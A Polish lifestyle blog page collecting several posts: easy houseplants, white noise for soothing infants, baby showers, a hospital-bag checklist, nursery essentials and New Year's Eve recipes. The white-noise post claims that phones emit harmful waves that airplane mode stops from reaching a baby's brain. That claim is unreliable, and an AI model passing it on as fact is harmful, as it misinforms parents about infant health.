Learn as if you will live forever, live like you will die tomorrow.

   +1 555 87 89 56   80 Harrison Lane, FL 32547

HomePosts Receitas

Posts Receitas

Kwiaty doniczkowe to piękne i wdzięczne rośliny i wcale nie wymagają tyle wysiłku ile mogło by się wydawać. Istnieją rośliny domowe dla których nie musisz mieć dużego doświadczenia czy ogrom wolnego czasu, aby cieszyć się ich pięknem. Zdecyduj się na rośliny doniczkowe, aby nie tylko udekorować swoje mieszkanie, ale także mieć czystsze powietrze w pomieszczeniach. Oto kilka propozycji.

Łatwe w uprawie kwiaty doniczkowe

Lubisz rośliny domowe, ale nie masz czasu na ich pielęgnację. A może niewiele wiesz o kwiatach domowych oraz ich wymaganiach, więc obawiasz się, że rośliny szybko zmarnieją. Jest na to rada – wystarczy sięgnąć po gatunki łatwe w utrzymaniu, które praktycznie same rosną. Nic się też nie powinno stać, jeżeli zapomnisz o systematycznym podlewaniu. Nie wymagają także regularnego przycinania czy nawożenia. Jakie to rośliny?

Kaktusy

Idealne wręcz dla początkujących, i to z kilku powodów. Przede wszystkim do wzrostu nie potrzebują wiele – wystarczy słoneczne stanowisko oraz bardzo umiarkowane podlewanie. W okresie zimowym praktycznie można o nim zapomnieć. W zasadzie jedyne, co może zniszczyć kaktusa, to jego przelanie. Nadmiar wody skutkuje gniciem korzeni, a to prowadzi do obumarcia rośliny. Kaktusy występują w wielu odmianach, więc możesz stworzyć całkiem pokaźną kolekcję domową.

Łatwe w uprawie kwiaty doniczkowe
Łatwe w uprawie kwiaty doniczkowe

Aloes

To kolejna, wytrzymała i naprawdę niekłopotliwa w uprawie, roślina domowa. Podobnie jak w przypadku kaktusów lepiej zapomnieć o podlaniu niż doprowadzić do przelania aloesu. Stojąca woda szybko spowoduje zniszczenie rośliny. Aloes świetnie czuje się na stanowisku słonecznym.

Żyworódka

Skoro przy aloesie już jesteśmy, to niedaleką jego krewną jest żyworódka. Roślina ta posiada jeszcze lepsze właściwości lecznicze niż jej kuzyn. Jest łatwa w utrzymaniu, aby cieszyć się jej pięknym wdziękiem wystarczy odrobina wody raz w tygodniu i od czasu do czasu nawożenie odżywką w płynie wspierającą kwiaty doniczkowe.

Bluszcz

Roślina wyjątkowa, ponieważ pięknie i okazale wygląda, a przy tym nie ma dużych wymagań. Jednak to propozycja na miejsca cieniste lub półcieniste. Bluszcz lubi zraszanie i nie szkodzi mu lekkie przelanie, więc jeżeli lubisz hojnie podlewać, zdecyduj się właśnie na ten gatunek. Bluszcze ładnie się rozrastają, możesz je przycinać nawet zimą.

Bluszcz to wyjątkowa roślina domowa
Bluszcz to wyjątkowa roślina domowa

Najbardziej wytrzymałe rośliny domowe

Kwiaty doniczkowe łatwe w uprawie są też z reguły bardzo wytrzymałe. Do powyższej listy można jednak dorzucić jeszcze kilka gatunków rzeczywiście odpornych na zaniedbania, ale też dobrze rosnących w niezbyt korzystnych warunkach. W końcu nie zawsze możesz sobie pozwolić na zapewnienie roślinom optymalnego środowiska do wzrostu. Była już mowa o bluszczu, który sprawdzi się w mieszkaniach z utrudnionym dostępem do naturalnego światła słonecznego. Ciekawych propozycji jest znacznie więcej. Oto dwie kolejne rzeczywiście wytrzymałe rośliny doniczkowe.

Sansewieria, czyli wężownica

Sansewieria, czyli wężownica
Sansewieria, czyli wężownica

Przez niektórych określana jako roślina ze stali, i coś w tym jest. Praktycznie zniesie wszelkie zaniedbania i błędy pielęgnacyjne z wyjątkiem jednego – nadmiernego podlewania. To idealna propozycja dla zapominalskich oraz osób, które nie mają doświadczenia w uprawie roślin domowych. Sansewieria bez problemu przystosowuje się do trudnych warunków. Doskonale sobie radzi z niedostatkiem światła i wody czy też z suchym powietrzem. Jednocześnie ciekawie się prezentuje we wnętrzu, a do wyboru masz kilka odmian różniących się ubarwieniem liści, ich kształtem i wielkością. Wężownica nie tylko wytwarza spore ilości tlenu, ale również oczyszcza powietrze z toksyn. Sprawia zatem, że w domu panuje korzystny mikroklimat.

Zamiokulkas zamiolistny

To z kolei bardzo długowieczny gatunek, który charakteryzuje się świetną odpornością na niedobory światła słonecznego i przesuszenie. Roślina ta magazynuje wodę w swoich mięsistych liściach oraz kłączach. Co więcej, nie wymaga częstego przesadzania, ponieważ dobrze się czuje w ciasnych doniczkach. Same zalety, jeżeli jesteś zapracowaną osobą.

Najładniejsze kwiaty doniczkowe

W zasadzie można powiedzieć, że każda roślina domowa jest śliczna sama w sobie. Przecież nawet kaktusy mają w sobie uroku, trudno też odmówić piękna gatunkom z ozdobnymi liśćmi. Warto jednak zwrócić uwagę na te rośliny, które ładnie kwitną.

Skrzydłokwiat

Wyróżnia się błyszczącymi liśćmi w intensywnie zielonej barwie oraz kwiatami biało-zielonymi. Zarówno liście, jak i kwiaty przypominają swoim wyglądem skrzydła, stąd i nazwa tej rośliny. Skrzydłokwiat powinien stać w półcieniu. Musisz też pamiętać, aby zawsze miał lekko wilgotną ziemię. To jedna z roślin najskuteczniej oczyszczających powietrze z substancji toksycznych, które są wydzielane przez wykładziny, meble czy obudowy plastikowe domowych sprzętów.

Storczyk

Storczyk to jeden z najpiękniejszych kwiatów doniczkowych
Storczyk to jeden z najpiękniejszych kwiatów doniczkowych

Ten jeden z najpiękniejszych kwiatów doniczkowych jest zarazem dość trudny w uprawie. Jeżeli nie masz doświadczenia, to może być ciężko wyhodować wspaniały okaz, ale na pewno warto próbować. Kwitnące storczyki prezentują się wyjątkowo uroczo. Potrzebują stanowiska jasnego lub półcienistego, a także systematycznego, choć niezbyt obfitego, podlewania. Trzeba też je zasilać nawozem naturalnym.

Warto mieć kwiaty doniczkowe lub rośliny domowe z ozdobnymi liśćmi. W ten sposób wnętrze nabiera wyjątkowego charakteru. Niektóre gatunki dobrze też oczyszczają powietrze. Jeżeli nie masz czasu na zajmowanie się pielęgnacją albo nie masz doświadczenia, to wybieraj rośliny łatwe w uprawie. Jak nabierzesz wprawy, to może zdecydujesz się na nieco trudniejsze w hodowli.

Wykorzystanie zjawiska białego szumu do usypiania lub uspokajania niemowlaka znane jest od dawien dawna. Nikt tego wcześniej po porostu nie nazywał. Dziś produkuje się specjalne urządzenia, zabawki ułatwiające niemowlakom zasypianie. Biały szum dostępny jest nawet w formie aplikacji na telefon.

Chcesz uspokoić dziecko – włącz suszarkę

Biały szum to jednostajny dźwięk, bardzo spokojny i równomierny. To odgłosy natury np. drobny deszcz, odgłos jadącego pociągu, szumiąca woda czy szum wiatru. W domowych warunkach możesz ten dźwięk uzyskać z pomocą włączonej suszarki. Dźwięk musi być spokojny i równomierny ze stałą częstotliwością.

Jak działa biały szum?

Tak naprawdę nikt nie wie dokładnie, na czym polega wyjątkowość białego szumu. Najprawdopodobniej wiąże się to ściśle z życiem płodowym dzieci. W Twoim brzuchu dziecko doświadczało najróżniejszych przytłumionych dźwięków. Przyzwyczajenia z życia w łonie matki możesz śmiało przenieść do życia codziennego.
Lekarze zauważyli, że dzieci które zasypiały przy białym szumie miały wyraźnie zmniejszone tętno, a niemowlęta szybciej usypiały. Jednostajny i monotonny dźwięk wyraźnie uspokaja maluchy, co więcej działa w podobny sposób na ludzi dorosłych.

Jakie korzyści daje biały szum?

Jeśli chcesz szybko uspokoić malucha, włącz odgłosy suszarki. Szybko zauważysz, że dziecko skupia się na monotonnym dźwięku, które absorbuje. Biały szum ułatwia zrelaksowanie zarówno niemowlętom jak i ludziom dorosłym. Cisza dla Twojego dziecka, które dopiero opuściło bezpieczny i znany świat jest czymś nienaturalnym. Szum zapewnia mu poczucie bezpieczeństwa i przypomina warunki panujące w Twoim brzuchu.
Korzyści z korzystania z białego szumu są oczywiste, należy jednak do wszystkiego podchodzić z pewną dozą racjonalizmu. Kiedy puszczasz dziecku taką swoistą “kołysankę” pomagasz mu zasnąć i wyciszyć się. Jest to szczególnie polecane, kiedy maluch próbuje usnąć w głośnym otoczeniu. Takie jednostajne dźwięki maskują odgłosy domu i niwelują hałas z zewnątrz. Należy jednak pamiętać, żeby dźwięk nie był zbyt głośny, gdyż efekt będzie odwrotny od zamierzonego i dziecko może się wystraszyć nadmiaru dźwięków.

Czy biały szum może szkodzić?

Zdania na ten temat są podzielone, choć większość rodziców wyraźnie podkreśla, że biały szum pomaga uspokoić niemowlę i ułatwia zasypianie.
Badania prowadzone pod kątem bezpieczeństwa białego szumu wykazały, iż urządzenia do wytwarzania szumu często przekraczają limit decybeli dla niemowlaka. Stąd zaleca się, aby wszelkie tego typu przedmioty były nastawione na minimalną głośność i stały w większej odległości od dziecka. Zbyt duża ilość decybeli może bowiem z czasem wpływać na problemy ze słuchem. Maleńkie dziecko jest zbyt delikatne, by narażać je na ciągły hałas.
Pediatrzy dodatkowo zalecają sprawdzić, czy dziecko toleruje biały szum. Istnieje bowiem grupa niemowlaków, które nie lubią tego typu dźwięków.

Jak bezpiecznie korzystać z białego szumu?

Lekarze wskazują, że biały szum jest bezpieczny, jednak tylko jeśli urządzenia emitujące dźwięk stosowane są w odpowiedni sposób. Zatem:

  1. Kontroluj nieustannie głośność urządzenia.
    Głośność nie powinna przekraczać 50 dB. Jeśli dziecko płacze głośniej i zwiększasz głośność urządzenia, pamiętaj aby w miarę uspokajania się dziecka urządzenie również wyciszyć.
  2. Wybierz odpowiedni szum dla Twojego malucha.
    Najbezpieczniejsze są tony o niskiej częstotliwości.
  3. Nie nadużywaj białego szumu.
    Staraj się używać tej metody tylko wtedy, jeśli to naprawdę konieczne. Podczas zabawy czy delikatnego marudzenia dziecka nie włączaj urządzeń emitujących dźwięki. Warto czasem użyć innych bodźców, by uspokoić malucha np. śpiewem.
  4. Kontroluj potrzeby malucha.
    Co kilka tygodni możesz sprawdzić, czy dziecko nadal potrzebuje białego szumu. Być może uśnie samodzielnie, bez konieczności włączania urządzenia. Nie chcesz przecież, by dziecko uzależniło się od dźwięku i nie potrafiło zasypiać inaczej.
  5. Uwaga na aplikacje.
    Biały szum dostępny jest w formie aplikacji na telefon. To łatwe i proste rozwiązanie. Musisz jednak pamiętać, że telefon emituje groźne fale. Stąd jeśli wybierzesz taki sposób uspokajania dziecka, nie zapomnij włączyć w telefonie trybu samolotowego. Uniemożliwia to szkodliwe działanie fal na mózg malucha.

Biały szum to dobra i sprawdzona metoda na uspokajanie dziecka, jednak musisz wziąć pod lupę wszelkie urządzenia emitujące dźwięki. Ponadto należy urządzenia takie stosować tylko w wyjątkowych sytuacjach, a nie przez całą noc, jak to się często zdarza.

Twoja przyjaciółka, siostra lub inna bliska osoba spodziewa się w najbliższym czasie dziecka? To doskonały czas, by zorganizować dla niej tzw. Baby shower. Czym wyróżnia się takie przyjęcie? Jak je zorganizować i kogo zaprosić? Odpowiedzi na te oraz wiele innych pytań znajdziesz w poniższym tekście. Zapraszamy do lektury!

Czym jest Baby Shower?

Jest to nic innego jak przyjęcie dla dziecka oraz przyszłej mamy. Zwyczaj ten wywodzi się ze Stanów Zjednoczonych i z pewnością każda z nas zetknęła się już z nim nie raz podczas oglądania amerykańskich komedii romantycznych. W Polsce organizowanie tego typu imprez staje się również coraz bardziej popularne. Sama nazwa wydarzenia oznacza w dosłownym tłumaczeniu ‘dziecięcy prysznic’ i prawdopodobnie oznacza prysznic prezentów, którymi obdarowywana jest podczas spotkania przyszła mama. Nie chodzi jednak o kosztowne podarunki, lecz o wpólne skompletowanie części wyprawki. Tradycyjnie impreza ta była przeznaczona głównie dla kobiet, ale obecnie uczestniczą w niej wszyscy najbliżsi.

Jak zorganizować wydarzenie?

Ponieważ głównym punktem Baby Shower jest dawanie prezentów młodej mamie oraz dzidziusiowi, trudno, by ona sama wydawała tego typu przyjęcie. Obowiązek ten zazwyczaj spoczywa na najbliższych kobietach z jej otoczenia, takich jak przyjaciółki czy siostry. Z uwagi na to, że w Polsce zwyczaj ten nie ma długoletniej tradycji, niekiedy przyszła mama sama musi wyjść z inicjatywą.
Na wspomnianych wcześniej filmach możemy obserwować huczne przyjęcia odbywające się w ogrodzie. Jednak pora roku nie zawsze pozwoli nam na tego typu świętowanie. Jeżeli organizowany przez nas Baby Shower będzie musiał odbyć się zimą lub jesienią, nie martwmy się za bardzo. W takim przypadku dobrym pomysłem będzie wynajęcie lokalu, co wiąże się niestety z większymi kosztami, którymi mogą jednak podzielić się organizatorki, jeżeli jest ich dużo. Innym rozwiązaniem jest zaproszenie mniejszej ilości osób i zdecydowanie się na skromniejszą imprezę w mieszkaniu.

Kiedy zorganizować Baby Shower?

Data wydarzenia zależy oczywiście w pełni od przyszłej mamy i jej najbliższych i to właśnie tymi wyznacznikami należy się kierować przy jej wyborze. Należy jednak przyznać, że im bliżej końca ciąży, tym prezenty mogą być bardziej sprecyzowane. Niektóre mamy decydują się jednak niekiedy na ogłoszenie płci dziecka właśnie podczas tego typu wydarzenia. Pomimo, że Amerykanki czy Angielki potrafią uczestniczyć nawet w kilku imprezach Baby Shower podczas jednej ciąży, wiele Polek często przyznaje, że nie czułoby się w pełni komfortowo podczas takiego wydarzenia, dopóki dziecko nie przyjdzie na świat. Nic więc nie stoi na przeszkodzie, by zorganizować uroczystość już po porodzie. Należy przede wszystkim pamiętać o samopoczuciu i stanie młodej mamy, gdyż to ona jest przecież najważniejsza podczas spotkania.

Jakie atrakcje zapewnić podczas imprezy Baby Shower?

Baby shower to bez wątpienia impreza tematyczna, dlatego niezwykle ważne jest zadbanie o wszelkie szczegóły, które nadadzą odpowiedni klimat. To w co warto się wyposażyć to przede wszystkim okazyjne balony i banery wskazujące na okazję, z jakiej wyprawiane jest przyjęcie. Oczywiście nie może zabraknąć również jedzenia, które jest podstawą spotkań. Poza ciastami, sałatkami i innymi drobnymi przekąskami warto zadbać o odpowiedni tort, który będzie zwieńczeniem popołudnia. Napoje powinny być oczywiście jedynie bezalkoholowe.
Ponieważ na Baby Shower często przychodzi duża ilość młodych matek i kobiet w ciąży należy zapewnić im jak największy komfort, dzięki odpowiednim gadżetom, takim jak wygodne pufy czy poduszki do karmienia. Jeżeli spodziewamy się dużej ilości małych dzieci dobrym pomysłem będzie zapewnienie im odpowiednich atrakcji np. poprzez wynajęcie animatorów, co pozwoli mamom na pełne uczestniczenie w zabawie.
Jedną z popularniejszych gier, z którymi można spotkać się podczas Baby Shower jest wspólne wybieranie imienia dla dziecka, dekorowanie body przez gości czy imitowanie ciąży przez osoby w niej niebędące poprzez wkładanie balona pod bluzkę i np. granie w Twistera. W tej konkurencji przyszłej mamie przypada honorowe miejsce w jury.

Jak sami możemy zaobserwować Baby Shower wiąże się przede wszystkim z dobrą zabawą, kompletowaniem wyprawki dla maluszka i wspieraniem przyszłej mamy. Podejmując się organizacji takiej imprezy nie powinniśmy przykładać dużej wagi do tradycji zza oceanu. Możemy dowolnie ją modyfikować, tak aby była ona jak najlepiej dostosowana do naszych potrzeb. To, co liczy się przecież najbardziej to zabawa oraz spotkania w bliskim gronie.

Spakowanie torby do szpitala to duże wyzwanie dla przyszłej mamy. Podejrzewam, że nawet nie wiecie, jak trudne może być przygotowanie takiej wyprawki. Dzisiaj postaram się przybliżyć temat, okiem kobiety, która rodziła. Będzie to swojego rodzaju pamiętnik. 

Pierwsza bardzo ważna sprawa należy spakować się odpowiednio wcześnie, na spokojnie, kiedy jeszcze brzuszek nie jest, aż tak duży. Najlepiej jest zacząć przygotowania w 7 – 8 miesiącu. Spakowana torba zapewni ci poczucie, że lepiej kontrolujesz wystarczająco stresującą sytuację.

Torba do szpitala powinna być spakowana w sposób przemyślany, aby zawierała tylko niezbędne elementy, ale również aby nic w niej nie zabrakło. Więc w takim razie co zabrać do porodu?

Niezbędne dokumenty na przyjęcie do szpitala:

  • karta ciąży, dowód osobisty, ostatnie wyniki badań – morfologia, mocz, HIV, HBS, grupa krwi, WR, wymazy GBS
  • ostatni wynik z badania USG
  • skierowanie do szpitala (jeśli takie posiadamy)
  • NIP pracodawcy

Dokumnety powinny znaleźć się na samym wierzchu naszej torby, ale ze względu na ich ważność wypisałam je na samym początku.

Torba do szpitala – 10 niezbędnych rzeczy dla mamy:

  • trzy koszule nocne – jedna będzie potrzeba do porodu, a której nie będzie Ci szkoda, gdyż po porodzie może nie nadawać się już do noszenia. Dwie koszule do karmienia.
  • dwa biustonosze do karmienia – niezbędne gdy rozpocznie się laktacja, dobrze podtrzymują pełne, obolałe piersi i zapobiegają uszkodzeniu kanalików mlekowych.
  • wkładki laktacyjne – mogą, ale nie muszą być potrzebne, jednak lepiej je zabrać ze sobą, gdyż nie zajmą wiele miejsca.
  • dwa ręczniki – jeden kąpielowy, drugi mały do rąk.
  • klapki – tylko i wyłącznie gumowe, gdyż są łatwe w utrzymaniu higieny.
  • szlafrok – w zależności od pory roku, będzie Ci potrzebny gruby lub cienki. Jednak pamiętaj, że na oddziałach położniczych i noworodkowych jest bardzo ciepło.
  • dwa opakowania podkładów poporodowych – według mnie najlepsze są Bella Mama. Nie zawierają plastiku, który nie oddycha, a który przez inne firmy jest dodawany do podpasek.
  • trzy sztuki majtek siatkowych – niezbędne do zachowania właściwej higieny. Jeżeli będziesz miała cesarskie cięcie, koniecznie wybierz takie majtki, które nie mają gumki na wysokości blizny.
  • mata jednorazowa na łóżko – tutaj polecam podkłady do przewijania Bella Baby Happy.
  • kosmetyczka niezbędnik – szczoteczka i pasta do zębów, dezodorant, mydło biały jeleń, szczotka do włosów, szampon, ręcznik papierowy, chusteczki, płyn do higieny intymnej (najlepiej taki sam jaki używałaś przed porodem), żel pod prysznic biały jeleń, suszarka.

Dodatkowo, kilka rzeczy nieobowiązkowych, które osobiście polecam:

  • krem na brodawki z lanoliną oraz nakładki typu Breast Shells – ktore pozwalają brodawkom oddychać i się regenerować między karmieniami. Po pierwszej dobie miałam całkowicie pogryzione brodawki… Noworodki dopiero poznają pierś, uczą się ssać i kodują brodawkę.
  • sztućce, talerz i kubek – na pewno otrzymasz je w szpitalu, jednak dobrze mieć swoje 
  • rogal do karmienia – dla mnie rzecz zbawienna, kiedy trzeba często przystawiać dziecko do piersi.
  • skarpetki – jak najbardziej są potrzebne o każdej porze roku. Przy porodzie zrobi Ci się na pewno zimno w stopy.
  • paracetamol – już po porodzie, jeśli nie możesz wytrzymać z bólu, na pewno Ci się przyda 
  • laktator ręczny – w niektórych szpitalach jest wymagany, w innych nie, jednak lepiej zabrać ze sobą.
  • jedzenie po porodzie – zapewne w większości szpitali otrzymasz ciepły posiłek po porodzie, jednak warto mieć ze sobą swoją ulubioną przekąskę.
  • zgrzewka wody – część wody można mieć w samochodzie, cześć przy sobie, no, chyba że jest zima, to nie ma wyboru. Trzeba mieć przy sobie.
  • lizaki lub cukierki – pomogą dodać energii w czasie porodu 

Torba do szpitala – 10 niezbędnych rzeczy dla maluszka:

  • ubranka – noworodki ubiera się w dwie warstwy, body i na to pajacyk – będą Ci potrzebne trzy takie zestawy. Dwie czapeczki, trzy pary skarpetek oraz niedrapki.
  • rożek lub kocyk – w zależności od pory roku, w sezonie letnim wystarczy taki zwykły, jednak w miesiącach zimowych powinien być taki naprawdę ciepły, aby nam maluszek nie zmarzł. Ja rodziłam w czerwcu – było bardzo upalnie, więc wystarczył cienki kocyk.
  • pięć pieluszek tetrowych – mogą pełnić też funkcję ręcznika dla dziecka.
  • jedno opakowanie pieluszek w rozmiarze 1 – noworodek zużywa około 10 – 12 pieluszek na dobę, powinno wystarczyć jedno małe opakowanie, jednak na wszelki wypadek warto mieć drugie przy sobie.
  • krem do pupy – najpopularniejsze to: Alantan, Bepanthen albo Linomag. Może nie być w ogóle potrzebny jednak warto go mieć przy sobie – nie zajmie dużo miejsca.
  • butelka z anatomicznym smoczkiem – może być potrzebna w przypadku problemów z laktacją. Dokarmianie mlekiem modyfikowanym z takiego smoczka, mniej zaburzy odruch ssania noworodka, niż karmienie ze standardowych smoczków.
  • Octenisept – niezbędny środek do pielęgnowania kikuta pępowinowego i rany po cesarskim cięciu.
  • podkłady do przewijania – zamiast podkładów można użyć też zwykłych pieluszek.
  • grube patyczki do ucha – oczywiście do pielęgnacji kikuta.
  • opakowanie mokrych chusteczek – raczej  też nie obowiązkowo, bo na pewno będą w szpitalu, ale zawsze wygodniej mieć swoje.
Pamiętaj, że wszystkie ubranka powinny być wyprane i wyprasowane!

Reklamówka dla położnej z ubrankami dla dziecka:

  • ubranka – body na krótki rękaw, pajacyk, czapka, niedrapki
  • pieluszka jednorazowa
  • rożek lub kocyk

Dla taty:

  • wygodne ubranie i buty
  • jedzenie i picie – według uznania, ale warto coś mieć przy sobie.
  • aparat fotograficzny – oczywiście nie obowiązkowo, ale gorąco polecam. Tata widzi więcej niż Ty, a fajnie jest sobie później obejrzeć wspólnie zdjęcia czy filmy z tak wyjątkowego wydarzenia, jakim jest poród.

Torba na wyjście ze szpitala (czeka przygotowana w domu)

  • ubranie na wyjście dla mamy
  • ubranka dla dziecka – w zależności od pory roku, będą to cienkie albo grube.
  • fotelik samochodowy
  • kocyk

Po szpitalu w całości wszystko musimy wyprać w wysokiej temperaturze. Tyczy się to kocyków, rożków, ubranek itp., więc im więcej zbędnych rzeczy zabierzesz, tym więcej będziesz miała roboty po powrocie do domu.

Na koniec to, co najważniejsze, czyli czego NIE brać! – Zabawek, misiów-szumisiów, gryzaków, grzechotek – przyniosą tylko zarazki do domu, a są zupełnie zbędne. To są super rzeczy, ale do domu, a nie do szpitala. Torba do szpitala powinna być wolna od rzeczy zbędnych.

Najlepiej, jeśli torbę do szpitala spakuje tata, ponieważ później panowie (w stresie) mają olbrzymie problemy ze znalezieniem czegokolwiek w tej torbie, a będą doskonale zorientowani. 

Jeżeli znasz kogoś, kogo może ten post zainteresować, koleżankę, przyjaciółkę, siostrę, podziel się! Może jeszcze nie spakowała swojej torby 

Kącik dla malucha to kolejne nie lada wyzwanie dla przyszłych rodziców. Patrząc na te wszystkie rzeczy, jakie ostatecznie będą potrzebne może przyprawić o zawrót głowy…

Patrząc na naszą sypialnię, okazało się, że na kilkunastu metrach kwadratowych, które dotąd zajmowało nasze łóżko i szafa, dodatkowo musi zmieścić się łóżeczko, przewijak, szafeczka i tysiące innych niezbędnych rzeczy! Nie było to łatwe zadania. Pewnie wielu rodziców ma ten sam problem – Jak zmieścić jeszcze tyle niezbędnych rzeczy na tak małej przestrzeni… Nie jest to łatwe zadanie, ale wystarczy trochę wyobraźni, kreatywności i sprytnych pomysłów, a wyczarujesz ładny i praktyczny kącik dla malucha.

Pokoik powinien być utrzymany w jasnej tonacji, najlepiej białych lub szarych kolorach. Noworodki nie odróżniają jeszcze dobrze barw, najlepiej widzą biały i czarny – kontrastowe kolory, pozostałe mogą się zlewać w jeden obraz. Z czasem dziecko coraz sprawniej koordynuje pracę oczu i zaczyna odróżniać więcej kolorów, w tym momencie dopiero nadejdzie moment na dobranie kolorowych dodatków do pokoiku dziecka.

Wracając do naszego dzisiejszego tematu, chciałam przedstawić Ci listę rzeczy, w które sama się zaopatrzyłam. Podzieliłam tematy na cztery części. Zaczęłam od tych według mnie najważniejszych, na które potrzeba największych funduszy, do których niezbędne będą też męskie ręce do pomocy  np. montaż łóżeczka, czy złożenie fotelu do karmienia.

Najważniejsze rzeczy w kąciku dla malucha, bez których na pewno się nie obejdziesz:

  • łóżeczko – powinno być dobrze wykonane, najlepiej w kolorze białym.
  • materac – najlepszy będzie materac piankowy, gdyż taki nie zawiera żadnych materiałów, które mogłyby zaszkodzić dziecku.
  • pościel – koniecznie 100% bawełny, inne materiały lepiej odpuścić.
  • prześcieradło z gumką
  • kołderka – przewiewna, oddychająca, gdyż niemowlaki nie posiadają termoregulacji cieplnej.
  • kokon lub rożek – osobiście polecam kokon, gdyż noworodek jest równomiernie otulony z każdej strony.
  • kocyk – w zasadzie najlepiej mieć dwa. Jeden w domu, drugi na wyjścia do wózka.
  • przewijak – solidny i stabilny, oczywiście dobrze jest dokupić specjalny piankowy wkład
  • pieluchy tetrowe
  • dwa ręczniki – koniecznie z kapturkiem
  • wanienka – koniecznie z pianką dla niemowląt, dzięki piance nawet sama wykąpiesz dziecko
  • fotel do karmienia – powinien być jak najwygodniejszy
  • lampka nocna – najlepiej z regulacją mocy świecenia, można też narzucić pieluszkę, aby stłumić odrobinę światła.
  • pieluchy jednorazowe – zrób taki zapas, aby starczyło Ci na pierwszy miesiąc, gdyż ten właśnie pierwszy miesiąc nie wiadomo jak i gdzie, tak szybko ucieka. Noworodek potrzebuje około 10 pieluszek na dobę.

Podstawowa ubranka dla dziecka:

  • osiem sztuk – body na krótki rękaw
  • osiem sztuk – body na długi rękaw
  • dziesięć sztuk – pajacyk / śpioszki
  • trzy pary skarpetek bawełnianych bez ściągacza
  • cztery czapeczki bawełniane
Pamiętaj, że wszystkie ubranka, oraz inne materiały tekstylne powinny być wyprane i wyprasowane!

Akcesoria w kąciku dla malucha:

  • nożyczki do paznokci dla niemowląt – takie z zaokrąglonymi końcami. Spokojnie nie musisz obcinać od razu paznokci, na początku wykruszają się same. Jednak czasami trzeba troszkę, najlepiej, kiedy maluszek śpi 
  • miękka szczoteczka do włosów – do czesania niemowląt nie wolno używać grzebieni – koniecznie musi to być delikatna i miękka szczotka wykonana z naturalnego włosia.
  • grube patyczki do uszu – przydadzą się do czyszczenia kikuta pępowinowego.
  • gruszka gumowa lub aspirator do nosa – lepszy będzie aspirator, gdyż jest lepszy w utrzymaniu sterylności.
  • termometr 3w1 – lepiej, aby się nie przydał, ja korzystałam tylko do sprawdzania temperatury wody przed kąpielą i ewentualnie po szczepieniu.
  • płatki kosmetyczne – obojętnie jakie, mogą być duże lub małe.
  • Octenisept – oczywiście niezastąpiony do przemywania kikuta pępowinowego.
  • mydło szare w płynie – będzie najlepsze do przemywania delikatnej skóry dziecka.
  • miseczka na wodę do przemywania –
  • chusteczki nawilżane – szczerze to nie polecam chusteczek, sama z nich bardzo rzadko korzystam, ale jednak są potrzebne… Najlepiej używać poza domem, wtedy kiedy nie mamy dostępu do wody z mydłem hipoalergicznym
  • wózek – no cóż, tutaj trzeba kierować się zdrowym rozsądkiem i zasobnością portfela. Sama mogę polecić Ci zestaw 4w1, według mnie sprawdził się idealnie.
  • fotelik – o foteliku mogłabym napisać oddzielny wpis, być może taki powstanie… Przy foteliku należy zwrócić przede wszystkim uwagę na bezpieczeństwo. Jest to pierwsza zasada przy zakupie. Nie warto patrzeć na certyfikaty wystawiane przez producenta, najważniejsze są testy przeprowadzane przez firmę która z bezpieczeństwem ma do czynienia na co dzień, np Stiftung Warentest lub ADAC.

W zasadzie to tyle, każdy będzie miał swoją historię, jednak pamiętaj, że nie tylko kącik dla malucha jest ważny. Ważne jest wszystko co nas otacza, całe mieszkanie prędzej czy później zostanie przemeblowane, a Twoje nieużywane rzeczy zostaną zastąpione rzeczami waszej pociechy  Jeśli coś pominęłam, napiszcie w komentarzach, co jeszcze może się przydać w pokoiku dla niemowlaka.

Sylwester to bez wątpienia wyjątkowa impreza. Bowiem taka noc zdarza się tylko raz w roku. W takim razie również posiłki, jakie będziemy spożywali podczas tej nocy, również muszą być wyjątkowe. Sprawdź co przygotować na Sylwestra, jakie przekąski i danie są modne w tym roku!

Co w takim razie przygotować na Sylwestra?

Wszystko zależy od tego, jak chcemy spędzić tę wyjątkową noc. Nie bez znaczenia jest również miejsce. Jeśli jednak planujemy Sylwester w domu, w gronie najbliższych znajomych urządzając niezapomnianą domówkę, możemy pokusić się o przygotowanie nie tylko suchych przekąsek, ale również i tych na ciepło. Co biorąc pod uwagę porę roku, będzie doskonałym pomysłem. Specjalnie na tę okazję przygotowałem listę zarówno przekąsek, jak i pełnoprawnych dań, które z powodzeniem przygotujesz na sylwestrową zabawę.

Wyjątkowe przekąski na Sylwestra

W pierwszej kolejności warto podać tak zwane przystawki lub jak kto woli przekąski. Z tego powodu świetnie sprawdzą się krewetki smażone w winie lub smażone nuggetsy z kurczaka a`la KFC. Są to małe i zgrabne przekąski, które bez wątpienia urzekną Twoich gości.

Przepis na świetne Krewetki smażone w winie
Przepis na świetne Krewetki smażone w winie
Przepis na domowe nuggetsy z kurczaka a`la KFC
Przepis na domowe nuggetsy z kurczaka a`la KFC

Idąc dalej tropem przekąsek sylwestrowych, warto zwrócić uwagę na dwa konkretne przepisy, które w zasadzie nie są już przekąskami, ale ciężko nazwać je pełnoprawnymi daniami. Pierwszy przepis to bruschetta z mozzarellą i pomidorami — To nie jest zwykła kanapka, ale dzieło sztuki kulinarnej! Podpieczona bagietka lekko posmarowana aromatyczną oliwką z czosnkiem już sama w sobie intryguje smakiem i aromatem. Dodając plasterki mozzarelli i pomidorków koktajlowych otrzymamy wyśmienite kanapki na ciepło. Drugim podobnym przepisem na przekąski na Sylwestra jest jajko zapiekane w awokado — to bez wątpienia super łatwa przekąska do przygotowania dosłownie w 5 minut! Do której potrzebujemy tylko dwa składniki — awokado i jako, nic więcej!

Bruschetta z mozzarellą i pomidorami
Bruschetta z mozzarellą i pomidorami
Przepis na Jajko zapiekane w awokado
Przepis na Jajko zapiekane w awokado

Dania na ciepło na Sylwestra

W moim zestawieniu oczywiście nie mogło zabraknąć dań na ciepło. Ponieważ Sylwester to nie tylko przekąski i dobra zabawa, liczy się również smaczne jedzenie. W tej kategorii warto zwrócić uwagę na paprykę faszerowana mielonym mięsem i ryżem. To danie świetnie sprawdzi jako gwiazda wieczoru na naszym stole. Papryka faszerowana jest dość łatwa i szybka w przygotowania, a najdłużej wychodzi oczekiwania na upieczenie jej w piekarniku. Dla klasyków smaku kuchni włoskiej przygotowałem coś specjalnego — Zapiekanka makaronowa z mięsem mielonym. To nieskromna propozycja łącząca najlepsze cechy zapiekanek oraz smak tradycyjnej lasagne. Składniki na zapiekankę, czyli mięso mielone i makaron oraz podsmażona cebulka z pomidorami zapiekamy pod serową pierzynką. Palce lizać!

Sprawdzony przepis | Papryka faszerowana mielonym mięsem i ryżem
Sprawdzony przepis | Papryka faszerowana mielonym mięsem i ryżem
